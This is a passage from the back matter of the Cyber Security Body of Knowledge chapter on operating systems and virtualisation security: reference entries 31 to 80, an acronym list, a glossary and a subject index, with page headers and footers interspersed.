[31] P.-H. Kamp and R. N. M. Watson, “Jails: confining the omnipotent root,” in Proceedings of
SANE, Maastricht, The Netherlands, May 2000.
[32] D. Merkel, “Docker: Lightweight linux containers for consistent development
and deployment,” Linux J., vol. 2014, no. 239, Mar. 2014. [Online]. Available:
http://dl.acm.org/citation.cfm?id=2600239.2600241
[33] R. J. Anderson, Security Engineering: a guide to building dependable distributed systems.
Wiley, 2008.
[34] United States Department of Defense, Department of Defense, Trusted Computer System
Evaluation Criteria, ser. Rainbow Series. Dept. of Defense, 1985, no. 5200.28-STD.
[Online]. Available: https://books.google.nl/books?id=-KBPAAAAMAAJ
[35] D. E. Bell and L. J. LaPadula, “Secure computer systems: Mathematical foundations,” The
MITRE Corporation, Bedford MA, Tech. Rep. ESD-TR-73-278, Nov. 1973.
[36] K. J. Biba, “Integrity considerations for secure computer systems,” MITRE CORP BEDFORD
MA, Tech. Rep., Apr. 1977.
[37] P. G. Neumann, New Solutions for Cybersecurity. MIT Press, 2017, ch. Fundamental
Security Principles.
[38] D. Ferraiolo and D. Kuhn, “Role-based access controls,” in Proceedings of the 15th Annual
National Computer Security Conference. NSA/NIST, 1992, pp. 554–563.
[39] H. M. Levy, Capability-based computer systems. Digital Press, 1984.
[40] P. A. Karger and R. R. Schell, “Thirty years later: Lessons from the multics
security evaluation,” in Proceedings of the 18th Annual Computer Security Applications
Conference, ser. ACSAC ’02. Washington, DC, USA: IEEE Computer Society, 2002, pp.
119–. [Online]. Available: http://dl.acm.org/citation.cfm?id=784592.784794
[41] J. H. Saltzer, “Protection and the control of information sharing in multics,”
Communications of the ACM, vol. 17, no. 7, pp. 388–402, Jul. 1974. [Online]. Available:
http://doi.acm.org/10.1145/361011.361067
[42] D. Gollmann, The Cyber Security Body of Knowledge. University of Bristol, 2021,
ch. Authentication, Authorisation & Accountability, version 1.0.2. [Online]. Available:
https://www.cybok.org/
[43] R. C. Daley and P. G. Neumann, “A general-purpose file system for secondary storage,”
in Proceedings of the November 30–December 1, 1965, Fall Joint Computer Conference,
Part I, ser. AFIPS ’65 (Fall, part I). New York, NY, USA: ACM, 1965, pp. 213–229. [Online].
Available: http://doi.acm.org/10.1145/1463891.1463915
[44] S. Smalley, C. Vance, and W. Salamon, “Implementing SELinux as a linux security module,”
NAI Labs Report, vol. 1, no. 43, p. 139, 2001.
[45] R. Spencer, S. Smalley, P. Loscocco, M. Hibler, D. Andersen, and J. Lepreau,
“The flask security architecture: System support for diverse security policies,” in
Proceedings of the 8th Conference on USENIX Security Symposium - Volume 8, ser.
SSYM’99. Berkeley, CA, USA: USENIX Association, 1999, pp. 11–11. [Online]. Available:
http://dl.acm.org/citation.cfm?id=1251421.1251432
[46] P. Efstathopoulos, M. Krohn, S. VanDeBogart, C. Frey, D. Ziegler, E. Kohler, D. Mazieres,

KA Operating Systems & Virtualisation Security | July 2021 Page 39

 The Cyber Security Body Of Knowledge
www.cybok.org

F. Kaashoek, and R. Morris, “Labels and event processes in the asbestos operating system,”
in ACM SIGOPS Operating Systems Review, vol. 39, no. 5. ACM, 2005, pp. 17–30.
[47] N. Zeldovich, S. Boyd-Wickizer, E. Kohler, and D. Mazières, “Making information flow
explicit in HiStar,” in Proceedings of the 7th symposium on Operating systems design and
implementation. USENIX Association, 2006, pp. 263–278.
[48] M. Krohn, A. Yip, M. Brodsky, N. Cliffer, M. F. Kaashoek, E. Kohler, and R. Morris, “Infor-
mation flow control for standard OS abstractions,” in ACM SIGOPS Operating Systems
Review, vol. 41, no. 6. ACM, 2007, pp. 321–334.
[49] J. B. Dennis and E. C. Van Horn, “Programming semantics for multiprogrammed compu-
tations,” Communications of the ACM, vol. 9, no. 3, pp. 143–155, 1966.
[50] S. J. Mullender and A. S. Tanenbaum, “The design of a capability-based distributed
operating system,” The Computer Journal, vol. 29, no. 4, pp. 289–299, 1986.
[51] W. B. Ackerman and W. W. Plummer, “An implementation of a multiprocessing computer
system,” in Proceedings of the First ACM Symposium on Operating System Principles,
ser. SOSP ’67. New York, NY, USA: ACM, 1967, pp. 5.1–5.10. [Online]. Available:
http://doi.acm.org/10.1145/800001.811666
[52] R. Fabry, “A user’s view of capabilities,” ICR Quarterly Report. U. of Chicago Institute for
Computer Research, pp. pages C1–C8, Nov. 1967.
[53] R. M. Needham and R. D. Walker, “The cambridge CAP computer and its protection
system,” in Proceedings of the Sixth ACM Symposium on Operating Systems Principles,
ser. SOSP ’77. New York, NY, USA: ACM, 1977, pp. 1–10. [Online]. Available:
http://doi.acm.org/10.1145/800214.806541
[54] W. Wulf, E. Cohen, W. Corwin, A. Jones, R. Levin, C. Pierson, and F. Pollack, “HYDRA: the
kernel of a multiprocessor operating system,” Communications of the ACM, vol. 17, no. 6,
pp. 337–345, Jun. 1974. [Online]. Available: http://doi.acm.org/10.1145/355616.364017
[55] G. Klein, K. Elphinstone, G. Heiser, J. Andronick, D. Cock, P. Derrin, D. Elkaduwe,
K. Engelhardt, R. Kolanski, M. Norrish, T. Sewell, H. Tuch, and S. Winwood, “seL4: formal
verification of an OS kernel,” in Proceedings of the ACM SIGOPS 22Nd Symposium on
Operating Systems Principles, ser. SOSP ’09. New York, NY, USA: ACM, 2009, pp.
207–220. [Online]. Available: http://doi.acm.org/10.1145/1629575.1629596
[56] R. N. M. Watson, J. Anderson, B. Laurie, and K. Kennaway, “Capsicum: Practical
capabilities for UNIX,” in Proceedings of the 19th USENIX Conference on Security, ser.
USENIX Security’10. Berkeley, CA, USA: USENIX Association, 2010, pp. 3–3. [Online].
Available: http://dl.acm.org/citation.cfm?id=1929820.1929824
[57] F. Güntsch, “Logischer entwurf eines digitalen rechnergerätes mit mehreren asynchron
laufenden trommeln und automatischem schnellspeicherbetrieb Logical Design of a
Digital Computer with Multiple Asynchronous Rotating Drums and Automatic High Speed
Memory Operation,” Ph.D. dissertation, Technische Universität Berlin, 1957.
[58] T. Killburn, “One-level storage system,” IRE Transactions on Electronic Computers, vol.
EC-ll, no. 2, Apr. 1962.
[59] R. C. Daley and J. B. Dennis, “Virtual memory, processes, and sharing in MULTICS,”
Communications of the ACM, vol. 11, no. 5, pp. 306–312, May 1968. [Online]. Available:
http://doi.acm.org/10.1145/363095.363139

KA Operating Systems & Virtualisation Security | July 2021 Page 40

 The Cyber Security Body Of Knowledge
www.cybok.org

[60] Oracle, “M7: Next generation SPARC.” [Online]. Available: https://www.

hotchips.org/wp-content/uploads/hc_archives/hc26/HC26-12-day2-epub/HC26.
12-8-Big-Iron-Servers-epub/HC26.12.820-Next_Gen_SPARC_Phillips-Oracle-FinalPub.
pdf
[61] ARM, “Arm a-profile architecture developments 2018: Armv8.5-a.” [On-
line]. Available: https://community.arm.com/developer/ip-products/processors/b/
processors-ip-blog/posts/arm-a-profile-architecture-2018-developments-armv85a
[62] J. Götzfried, M. Eckert, S. Schinzel, and T. Müller, “Cache attacks on intel
SGX,” in Proceedings of the 10th European Workshop on Systems Security, ser.
EuroSec’17. New York, NY, USA: ACM, 2017, pp. 2:1–2:6. [Online]. Available:
http://doi.acm.org/10.1145/3065913.3065915
[63] U. Frisk, “Direct memory attack the kernel,” Aug. 2016. [Online]. Available: https:
//archive.org/details/youtube-fXthwl6ShOg
[64] A. T. Markettos, C. Rothwell, B. F. Gutstein, A. Pearce, P. G. Neumann, S. W. Moore, and
R. N. M. Watson, “Thunderclap: Exploring vulnerabilities in operating system IOMMU
protection via DMA from untrustworthy peripherals,” in Proceedings of the Network and
Distributed Systems Security Symposium (NDSS), Feb. 2019.
[65] I. Verbauwhede, The Cyber Security Body of Knowledge. University of Bristol, 2021, ch.
Hardware Security, version 1.0.1. [Online]. Available: https://www.cybok.org/
[66] A. Milburn, H. Bos, and C. Giuffrida, “SafeInit: Comprehensive and Practical
Mitigation of Uninitialized Read Vulnerabilities,” in NDSS, Feb. 2017. [Online]. Available:
https://www.vusec.net/download/?t=papers/safeinit_ndss17.pdf
[67] E. Bosman and H. Bos, “Framing signals-a return to portable shellcode,” in 2014 IEEE
Symposium on Security and Privacy. IEEE, 2014, pp. 243–258.
[68] E. Baccelli, O. Hahm, M. Gunes, M. Wahlisch, and T. C. Schmidt, “RIOT OS: Towards
an OS for the internet of things,” in 2013 IEEE Conference on Computer Communications
Workshops (INFOCOM WKSHPS), 2013, pp. 79–80.
[69] A. Cardenas, The Cyber Security Body of Knowledge. University of Bristol, 2021, ch. Cyber-
Physical Systems Security, version 1.0.1. [Online]. Available: https://www.cybok.org/
[70] PaX Team, “Design & implementation of PAGEEXEC,” 2000.
[71] M. Abadi, M. Budiu, U. Erlingsson, and J. Ligatti, “Control-flow integrity,” in
Proceedings of the 12th ACM Conference on Computer and Communications Security,
ser. CCS ’05. New York, NY, USA: ACM, 2005, pp. 340–353. [Online]. Available:
http://doi.acm.org/10.1145/1102120.1102165
[72] PaX Team, “Address space layout randomization,” https://pax.grsecurity.net/docs/aslr.txt
(Patch originally released in 2001), 2001.
[73] F. Piessens, The Cyber Security Body of Knowledge. University of Bristol, 2021, ch.
Software Security, version 1.0.1. [Online]. Available: https://www.cybok.org/
[74] E. Goktas, E. Athanasopoulos, H. Bos, and G. Portokalidis, “Out of control: Overcoming
control-flow integrity,” in IEEE Security & Privacy, Dec. 2014. [Online]. Available:
http://www.cs.vu.nl/%7Eherbertb/papers/outofcontrol_sp14.pdf

KA Operating Systems & Virtualisation Security | July 2021 Page 41

 The Cyber Security Body Of Knowledge
www.cybok.org

[75] M. Castro, M. Costa, and T. Harris, “Securing software by enforcing data-flow integrity,”
in Proceedings of the 7th Symposium on Operating Systems Design and Implementation,
ser. OSDI ’06. Berkeley, CA, USA: USENIX Association, 2006, pp. 147–160. [Online].
Available: http://dl.acm.org/citation.cfm?id=1298455.1298470
[76] E. Bauman, G. Ayoade, and Z. Lin, “A survey on hypervisor-based monitoring: Approaches,
applications, and evolutions,” ACM Comput. Surv., vol. 48, no. 1, pp. 10:1–10:33, Aug. 2015.
[Online]. Available: http://doi.acm.org/10.1145/2775111
[77] R. Natan, Implementing Database Security and Auditing. Elsevier Science, 2005. [Online].
Available: https://books.google.nl/books?id=5WIP24cbtSEC
[78] J. Forristal, “NT web technology vulnerabilities,” Phrack Magazine, vol. 8, no. 4, Dec. 1998,
published as rain.forest.puppy.
[79] R. A. Popa, C. M. S. Redfield, N. Zeldovich, and H. Balakrishnan, “CryptDB: protecting
confidentiality with encrypted query processing,” in Proceedings of the Twenty-Third
ACM Symposium on Operating Systems Principles, ser. SOSP ’11. New York, NY, USA:
ACM, 2011, pp. 85–100. [Online]. Available: http://doi.acm.org/10.1145/2043556.2043566
[80] E. Mykletun, M. Narasimha, and G. Tsudik, “Authentication and integrity in outsourced
databases,” Trans. Storage, vol. 2, no. 2, pp. 107–138, May 2006. [Online]. Available:
http://doi.acm.org/10.1145/1149976.1149977

ACRONYMS
ACL Access Control List.
ADI Application Data Integrity.
API Application Programming Interface.
ASLR Address Space Layout Randomization.

BIOS Basic Input/Output System.

CET Control-Flow Enforcement Technology.

CFI Control-Flow Integrity.
CHERI Capability Hardware Enhanced RISC Instructions.
CPU Central Processing Unit.
CRTM Core Root of Trust for Measurements.

DAC Discretionary Access Control.

DEP Data Execution Prevention.
DFI Data-Flow Integrity.
DMA Direct Memory Access.
DoS Denial of Service.

KA Operating Systems & Virtualisation Security | July 2021 Page 42

 The Cyber Security Body Of Knowledge
www.cybok.org

DRAM Dynamic Random Access Memory.

FLASK Flux Advanced Security Kernel.

FS File System.
FUSE File System in User Space.

IOMMU Input-Output Memory Management Unit.

IoT Internet of Things.
IPC Inter-Process Communication.
ISA Instruction Set Architecture.

KA Knowledge Area.
KASLR Kernel ASLR.

MAC Mandatory Access Control.

ME Management Engine.
MMU Memory Management Unit.
MPK Memory Protection Key.
MPU Memory Protection Unit.
MPX Memory Protection Extensions.
MTE Memory Tagging Extensions.

NSA National Security Agency.

NX No Execute.

ODB Outsourced Database.

OS Operating System.

PAC Pointer Authentication Code.

PAN Privileged Access Never.
PCR Platform Configuration Register.
POLA Principle Of Least Authority.
PTE Page Table Entry.
PXN Privileged Execute Never.

RBAC Role-Based Access Control.

RIDL Rogue In-Flight Data.

KA Operating Systems & Virtualisation Security | July 2021 Page 43

 The Cyber Security Body Of Knowledge
www.cybok.org

SGX Software Guard Extension.

SMAP Supervisor Mode Access Protection.
SMEP Supervisor Mode Execution Protection.
SMM System Management Mode.
SoC System on a Chip.
SQL Structured Query Language.
SROP Sigreturn-Oriented Programming.
SSD Solid State Drive.

TCB Trusted Computing Base.

TCSEC Trusted Computer System Evaluation Criteria.
TLB Transaction Lookaside Buffer.
TOCTOU Time Of Check Time Of Use.
TPM Trusted Platform Module.

UEFI Unified Extensible Firmware Interface.

UMDF User Mode Driver Framework.
USB Universal Serial Bus.

VM Virtual Machine.
VMI Virtual Machine Introspection.

XD Execute Disable.
XN Execute Never.

GLOSSARY
CyBOK Refers to the Cyber Security Body of Knowledge.

KA Operating Systems & Virtualisation Security | July 2021 Page 44

INDEX
32-bit, 11, 22, 23 branch predictor, 6, 31
64-bit, 22, 23 buffer, 5–7, 22, 26, 31
buffer bounds checking, 22
access control, 14–20, 34 buffer overflow, 22
access control capabilities, 17–20, 25, 36
access control list, 16–18 cache, 3, 5–7, 19, 21, 31
access control policy, 16 cache attacks, 6
access matrix, 17 cache side-channel, 6
access request, 17, 24 call gates, 25
access rights, 14–18, 20, 21, 24 CAP computer, 19
access space, 4 capability hardware enhanced RISC instruc-
address space, 3, 20, 26, 28–31, 34, 35 tions, 19
address space isolation, 4 Capsicum, 19
address space layout randomisation, 28, 29, Chicago Magic Number Machine, 18
34, 35 chroot, 11
address space mappings, 3 clearance level, 14, 17
administrator, 16, 17, 24 cloud computing, 3, 7, 23
ahead of time, 6 cloud service provider, 23
ambient authority, 18 code injection attack, 30
Amoeba OS, 19 code pointer, 4, 28, 29
anomaly detection, 28, 34 code signer, 32
antivirus, 33 compiler, 26, 27, 29
Apple, 27 complete mediation, 12
Apple T2, 27, 32 concurrency bugs, 5, 6
application data integrity, 23 confidentiality, 4, 7, 8, 14, 35
arithmetic unit, 31 confused deputy, 18, 25
ARM, 23, 25, 29, 30 containers, 11
ARM TrustZone, 23 context switch, 20
ARM v7, 25 control flow guard, 29
ARMv8-M, 23 control plane, 8
AS/400 OS, 22 control-flow, 5, 7, 28–30
asbestos, 17 control-flow enforcement technology, 29
attack surface, 7, 11, 12, 27, 36 core root of trust measurements, 33
attestation, 24, 33 correctness, 12
audit logs, 34 CPU, 3, 5, 6, 8, 10, 11, 19, 20, 23, 24, 26, 30, 31,
authentication, 3, 15, 17, 24, 29, 32, 34, 35 34
authenticity, 35 CPU time, 3, 8, 34
authorisation, 32 credential store, 16
credentials, 16
Bell-LaPadula model, 11, 14, 15, 17 cryptography, 16, 19, 23, 24, 29, 33, 34
Biba model, 11, 14, 17 cryptography module, 33
biometrics, 15 cyber-physical system, 27
BIOS, 33
boot process, 4, 27, 32, 33 data execution prevention, 30
bootkit, 5, 32 data plane, 8
bootloader, 32 data pointer, 4

45
 The Cyber Security Body Of Knowledge
www.cybok.org

data-flow integrity, 29 GE-645 mainframe computer, 22

database, 34, 36 Google, 19, 27, 32
de-referencing pointer, 23, 30 Google Titan chip, 27, 32
deadlocks, 5 GRSecurity, 35
delegation policy, 18 guest physical address, 22
denial of service, 5
development, 22 hammering, 6
digital signature, 29, 32, 35 hardware security, 5–7, 16, 24
direct attacks, 6 hash chain, 33
direct memory access, 8, 24 hash function, 33–35
directed acyclic graph, 20 heap allocations, 28
directory, 19 high-speed networking, 9
discretionary access control, 16, 18, 34 HiStar, 17
disk blocks, 3, 19 homomorphic encryption, 34
disk encryption, 16 Honeywell 6180, 25
display cable, 24 human behaviour, 4
distributed systems, 9, 10 Hydra, 19
Docker, 11 hypervisor, 3–5, 7, 8, 10, 11, 13, 22, 26, 27, 33,
double fetch, 5, 6 34, 36
driver, 4, 5, 8, 9, 12, 24, 32 hypervisor ring, 26
driver signing, 32 IBM, 22, 32
economy of mechanism, 12 IBM 701, 32
embedded devices, 3 immutable, 32
embedded systems, 8, 10, 11 indirect branch tracking, 29
encapsulation, 15 information control policy, 17
enclaves, 7, 24 information hiding, 28
encrypted database, 34 information leakage, 3–7, 14, 24, 28, 29
encryption, 6, 16, 18, 20, 24, 34, 35 insider threat, 4
entropy, 28 instruction set, 6
exokernel, 9, 13 instruction set architecture, 6
exploit, 4, 7, 22, 28, 32 integrity, 4, 8, 24, 28, 33
extended page tables, 22, 24 integrity check, 28
integrity measurements, 33
face recognition, 15 Intel, 6, 7, 10, 22–25, 27, 29–31
fail-safe defaults, 12 Intel SGX, 24
false alarm, 34 inter-process communication, 9
file recovery, 20 IOMMU, 24
file system, 3, 15, 16, 27 IoT, 11, 27
fingerprint, 15 iris patterns, 15
firmware, 4, 19, 26, 27, 32, 33 isolation, 3, 4, 7–9, 11, 12, 15, 20, 27, 30, 36
flame war, 9
flexibility, 17 Jails, 11
Flume, 17 JavaScript, 7
Flux Advanced Security Kernel, 17
Kerckhoff, 13
Foreshadow, 6
kernel, 3–7, 9–13, 18, 19, 25, 26, 28–32, 35
formal verification, 27
Kernel ASLR, 28
FreeBSD, 11, 19
kernel memory, 6, 30
FUSE, 9
kernel module, 4, 5, 9
gang schedule, 31 kernel privileges, 30

KA Operating Systems & Virtualisation Security | July 2021 Page 46

 The Cyber Security Body Of Knowledge
www.cybok.org

key generation, 33 multi-server, 4, 9, 10, 12

key management, 33 multi-threading, 23

L4 microkernel, 19 Nemesis, 9
library operating system, 4, 9, 12 network device drivers, 8
license, 10 network port, 17
linear address, 22 network request, 4
Linux, 4, 9–11, 13, 16, 17, 19, 28, 30, 31, 35 network stack, 8
LLVM, 29 nonce, 33
logging, 34 NSA, 17
low-power networking, 11
open design, 12, 13
magnetic disks, 19 open source, 13, 35
mainframe, 3, 14, 22 OpenBSD, 28, 31
malware, 24, 32, 33 Operating System, 3–32, 34–36
management, 4, 11 Orange Book, 15
Management Engine, 10 OS X, 9
mandatory access control, 14, 15, 17, 34 OS/2, 22
master boot record, 4 out-of-order execution, 5, 6, 31
matrix, 17 outsourced data, 34, 35
mediation, 8, 12, 15, 25, 27 outsourced database, 34, 35
Meltdown, 31 padding bytes, 26
memory access, 8, 23, 24 page colouring, 32
memory bookkeeping, 20 page table, 4, 7, 13, 20–22, 24, 30, 31
memory corruption, 4–6, 26, 29 page table entry, 21, 23
memory deduplication, 5, 7 page table mappings, 7
memory error exploits, 28 password, 15
memory errors, 4, 5, 23, 28 PaX Team, 35
memory heap, 28, 30 PCIe interface, 24
memory isolation, 8, 36 PDP-1 timesharing system, 18
memory management unit, 8, 21 perfect isolation, 12
memory page, 4, 6–8, 24, 26, 30, 31 performance optimisation, 35
memory protection, 15, 20–23 peripherals, 7
memory protection extensions, 22 permission, 3, 16–18, 22–24, 31
memory protection unit, 23, 27 physical address space, 7, 20–22, 24
memory safety, 23 platform configuration registers, 33
memory stack, 25, 26, 28, 30 Plessey System 250, 19
memory tagging extensions, 23 Pointer Authenication Code, 29
merkle-tree, 35 pointer authentication, 24, 29
metadata, 19 POSIX, 19
micro-architecture, 5–7, 31 POSIX capabilities, 19
microcontroller, 11, 27, 32 power adapter, 24
microkernel, 4, 9, 10, 12, 27 power consumption, 35
microprocessor, 10, 27 PowerPC, 25
microservices, 11 principle of least authority, 12, 13, 18
Microsoft, 22, 29, 30, 32 principle of least common mechanism, 3, 12,
military, 14, 15 31
MINIX, 9, 10, 25, 27 principle of least privilege, 12, 13
mobile devices, 19 principle of psychological acceptability, 12, 13,
monolithic, 4, 9, 10, 12, 13 15

KA Operating Systems & Virtualisation Security | July 2021 Page 47

 The Cyber Security Body Of Knowledge
www.cybok.org

privilege escalation, 4, 34 single domain, 10, 12, 13

privilege separation, 13 Singularity operating system, 4
privileged code, 15, 25 smart dust, 11
probability, 13, 28 smart-cards, 15
process id, 13, 14, 16 smartphone, 11
processes, 3, 4, 6, 8–10, 12, 14, 16–21, 23–26, socket, 26
29–33 Software Guard Extensions, 24
processors, 10, 20–27, 30–32 software security, 32
programming language, 26 software stack, 3, 8, 36
project management, 4 solid state drive, 19
protected memory, 18 spatial memory errors, 5, 23
protection ring, 20, 25, 27, 30, 36 speculative execution, 6, 7, 31
public key, 33, 35 SQL injection, 34
supervisor, 21, 30
QubesOS, 10, 13 supervisor mode access protection, 30
real-time schedule, 11 supervisor mode execution protection, 30, 31
reference monitor, 17 system administrators, 17
remote attack, 7, 8 system call, 4, 7, 8, 25, 26, 30, 33
remote system, 7 system-on-chip, 10
resource depletion, 5 temporal memory errors, 5, 23
resource partitioning, 11, 12, 23, 28, 30, 31 threat model, 4
return address, 29 thunderbolt, 24
ring 0, 25, 26 transaction lookaside buffer, 3, 5–7, 21, 31
RIOT, 11 trojan, 24
Rogue In-Flight Data, 7, 31 trojan circuits, 24
root of trust, 32, 33 trusted code, 12, 33
rootkit, 24, 33 Trusted Computer System Evaluation Criteria,
Rowhammer, 5–7 15
Saltzer and Schroeder, 3, 11, 12, 30 trusted computing, 9, 12
secret key, 6 trusted computing base, 9, 12
secure boot, 32 trusted execution environment, 3, 7, 23, 24
secure storage, 33 Unified Extensible Firmware Interface, 4, 32
security by design, 27 Unikernel, 9, 10, 12, 13
security by obscurity, 13 UNIX, 9, 11, 15, 16, 19, 20, 25, 26
security domain, 3, 5, 7–9, 12, 13, 15, 18, 20, 25, US government, 14
31, 36 USB-C, 24
security kernel, 17 Usenet, 10
security labels, 17 user identities, 15, 29
security levels, 14 User Mode Driver Framework, 9
security models, 11, 14, 15 user process, 3, 9, 10, 19, 21, 23–26, 30, 31
security policies, 25 username, 15, 17
Security-Enhanced Linux (SELinux), 13, 17 userspace, 5–7, 23, 25, 28, 30
seL4 microkernel, 19
shadow stack, 29 virtual address space, 7, 20, 22, 24
shared memory, 9 virtual machine, 3, 10, 22, 26, 27, 33
side channel attack, 3, 5–7, 24, 29, 31 virtual machine introspection, 33
signal frame, 25, 26 virtual memory, 7, 15, 24
sigreturn-oriented programming, 26 virtual memory layout, 7

KA Operating Systems & Virtualisation Security | July 2021 Page 48

 The Cyber Security Body Of Knowledge
www.cybok.org

virtualisation, 10, 11, 24, 26

virtualised environment, 3, 10, 22, 32
Visual Studio, 29
vulnerabilities, 4–6, 8, 13, 22, 27, 28, 31

web browser, 7
Windows, 4, 9–11, 16, 19, 20, 25, 28, 29, 31, 32
write xor execute, 30

x86 architecture, 22, 25, 26, 30

zero intialisation, 26

KA Operating Systems & Virtualisation Security | July 2021 Page 49